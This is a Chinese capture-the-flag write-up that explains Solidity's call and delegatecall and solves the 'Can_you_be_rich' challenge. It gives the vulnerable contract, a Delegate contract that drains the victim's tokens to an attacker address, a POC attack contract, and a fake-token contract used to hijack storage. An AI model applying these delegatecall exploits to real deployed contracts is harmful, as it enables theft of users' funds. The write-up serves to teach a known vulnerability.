一. 跨合约函数调用
在solidity中,有两种call函数可以实现跨合约调用,包括call和delegatacall。
1.1 使用方法
call 函数
<address>.call(...) returns (bool, bytes) |
address为要调用合约地址,call函数的参数为要调用函数的签名和传入参数。
Delegatacall
<address>.delegatacall(...) returns (bool, bytes) |
address为要调用合约地址,call函数的参数为要调用函数的签名和传入参数。
1.2 区别
call调用后的执行环境和上下文会变成被调用合约的。
delegatacall调用的执行环境和上下文是源合约的。
二. Can_you_be_rich
这时第五空间决赛杂项中的合约题,这题考查的就是delegatacall的漏洞利用。
2.1 源码
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract CTFToken is ERC20,Ownable { bool airdropped; constructor() ERC20("CTFToken", "CTF") { _mint(address(msg.sender), 100000000000); } function airdrop(uint num) public onlyOwner { require(!airdropped, "Already airdropped"); airdropped = true; _mint(msg.sender, num); } } contract Vuln { CTFToken public token; bool solved; constructor() public { token=new CTFToken(); } function set(address _contract) public { (bool success, bytes memory data) = _contract.delegatecall( abi.encodeWithSignature("set()") ); require(success, "delegatecall failed"); require(!solved, ""); } function solve() public{ require(token.balanceOf(msg.sender)>=100000000000); solved=true; } function isSolved() public view returns(bool){ return solved; } } |
先查看被攻击合约,构造函数中新创建了一个CTFToken合约,CTFToken合约是一个ERC20合约,在部署该Token合约的时候就给msg.sender mint了100000000000wei,这里msg.sender就是被攻击合约。
回到被攻击合约,里面还有函数set、solve、isSolved。其中set函数delegatacall给定地址的set函数。
solve函数会判断调用者的token月是否足够,如果达标,则将solved置为true。
isSolved函数会根据solved触发flag。
2.2 解法1
delegatacall函数在调用的时候msg.sender依然会是本合约,我们可以利用这一点进行攻击。
因为CTFToken合约在部署的时候就已经向被攻击合约mint了足够数量的币,所以被攻击合约的余额是足够的,那么想办法把被攻击合约的余额转到攻击合约上就可以了。
我们可以在delegata合约中加入转账的逻辑,而因为delegatacall调用的msg.sender不变,所以就可以把钱转走:
contract Delegate { address public ctfAddress; constructor(address _ctfAddress) { ctfAddress = _ctfAddress; } function set() public { CTFToken token = CTFToken(ctfAddress); // 这个地址是我们的外部地址 token.transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 100000000000); } } |
攻击合约:
contract POC { constructor(address vulnAddress, address tokenAddress) { Vuln vul = Vuln(vulnAddress); Delegate dele = new Delegate(tokenAddress); vul.set(address(dele)); } } |
这时再用这个外部地址调用被攻击合约的solve和isSolved函数就可以拿到flag
contract POC { constructor(address vulnAddress, address tokenAddress) { Vuln vul = Vuln(vulnAddress); Delegate dele = new Delegate(tokenAddress); vul.set(address(dele)); } } |
2.3 复现1
首先部署被攻击合约:
获取CTFToken的合约地址,并通过该地址获取token地址的实例:
部署攻击合约:
由于攻击流程都在构造函数中,所以现在我们自己的外部地址应该有足够的余额了:
这时使用这个外部地址调用攻击合约的solve函数,就拿到flag了:
2.4 解法2
delegatacall不仅msg.sender是源合约,上下文也是源合约的,storage也是源合约的。
我们再回看solve函数:
这里需要msg.sender的token地址的余额大于一个值,那我们能不能把这个token地址改成我们部署的一个合约,并且重写balanceOf函数,并让它直接返回一个足够的值。
首先先部署一个假的token合约:
contract fakeToken { function balanceOf(address _address) public view returns(uint256) { return 100000000000; } } |
再调用solve函数就可以拿到flag:
2.5 复现2
先部署被攻击合约,并获取token地址:
部署假的token合约:
部署delegata合约:
再将该合约的地址作为参数调用被攻击合约的set函数,在调用完成之后,被攻击合约的token地址应该会被改成我们伪造的假token的地址:
在调用solve就可以获取flag: